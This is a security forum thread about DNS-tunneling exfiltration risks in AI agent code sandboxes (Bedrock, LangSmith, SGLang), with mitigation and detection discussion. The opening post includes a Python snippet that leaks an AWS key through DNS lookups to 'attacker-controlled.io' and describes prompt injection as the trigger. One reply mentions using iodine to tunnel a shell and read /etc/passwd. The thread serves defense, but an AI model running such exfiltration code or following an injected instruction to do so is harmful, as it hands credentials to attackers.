ForumsExploitsDNS Tunneling in AI: Exfil Risks in Bedrock, LangSmith, and SGLang

DNS Tunneling in AI: Exfil Risks in Bedrock, LangSmith, and SGLang

Incident_Cmdr_Tanya 3/17/2026 USER

Has anyone else dug into the BeyondTrust report published earlier this week? It looks like the industry's rush to adopt AI agents is creating some serious holes in our sandboxing strategies.

The research highlights that Amazon Bedrock (specifically the AgentCore Code Interpreter), LangSmith, and SGLang all suffer from a classic oversight: allowing outbound DNS queries from the code execution environment. While this seems trivial, it’s a massive vector for data exfiltration.

The Attack Vector

The core issue is that these AI sandboxes permit unrestricted DNS traffic. If an attacker can trick the LLM into executing malicious code—perhaps through a prompt injection or a poisoned dependency—they can set up an interactive shell using DNS tunneling. This bypasses standard egress filtering because DNS is often treated as a 'trusted' protocol necessary for basic functionality.

Here is a simplified example of how a malicious script inside the Bedrock sandbox might exfil sensitive environment variables:

import os
import socket
import base64

def exfil_via_dns(data, domain):
    # Encode data to fit in DNS subdomain length limits
    encoded = base64.b64encode(data.encode()).decode()
    subdomain = f"{encoded}.{domain}"
    # Perform DNS lookup (A record)
    socket.gethostbyname(subdomain)

api_key = os.environ.get('AWS_ACCESS_KEY_ID')
exfil_via_dns(api_key, 'attacker-controlled.io')

Detection

Standard firewall logs might miss this if they aren't inspecting payload length or frequency. If you are using Sentinel or a similar SIEM, you might want to hunt for unusually long DNS queries originating from your VPC endpoints hosting these AI services.

DnsEvents
| where QueryType == 'A' 
| where QueryNameHasAnySuffix(['bedrock.amazonaws.com', 'langsmith.com']) 
| extend QueryLength = strlen(QueryName) 
| where QueryLength > 50 
| project Timestamp, SourceIp, QueryName, QueryLength

Given the complexity of these environments, simply blocking outbound DNS isn't always an option without breaking functionality. How are you handling egress filtering for your AI workloads? Are you using VPC endpoints only, or do you have a specific proxy setup in place?

AP
AppSec_Jordan3/17/2026

Great breakdown. We've seen a similar issue with standard CI/CD runners, but the AI context is scary because the 'code' being executed is generated dynamically. We're currently routing all Bedrock traffic through a Squid proxy that strictly allows access to specific internal APIs and blocks all direct DNS resolution except for our internal corporate resolvers. It adds latency, but it stops the tunneling cold.

BL
BlueTeam_Alex3/17/2026

The interactive shell part is the kicker. It's not just data leaving; it's command entering. We tested this in our lab using iodine to establish a full tunnel over DNS. The bandwidth was terrible, but for running cat /etc/passwd or enumerating IAM roles, it was more than fast enough. If you're using Bedrock, you need to treat the Code Interpreter environment as untrusted immediately.

DE
DevSecOps_Lin3/17/2026

Does anyone know if LangSmith has patched this yet? We use it for tracing, and I'm not seeing an option in their console to disable outbound networking for the evaluation environments. For now, we've locked down the IAM roles associated with the service to have zero internet access (no NAT Gateway route), but that limits some of the tools we can run during evals.

Verified Access Required

To maintain the integrity of our intelligence feeds, only verified partners and security professionals can post replies.

Request Access

Thread Stats

Created3/17/2026
Last Active3/17/2026
Replies3
Views199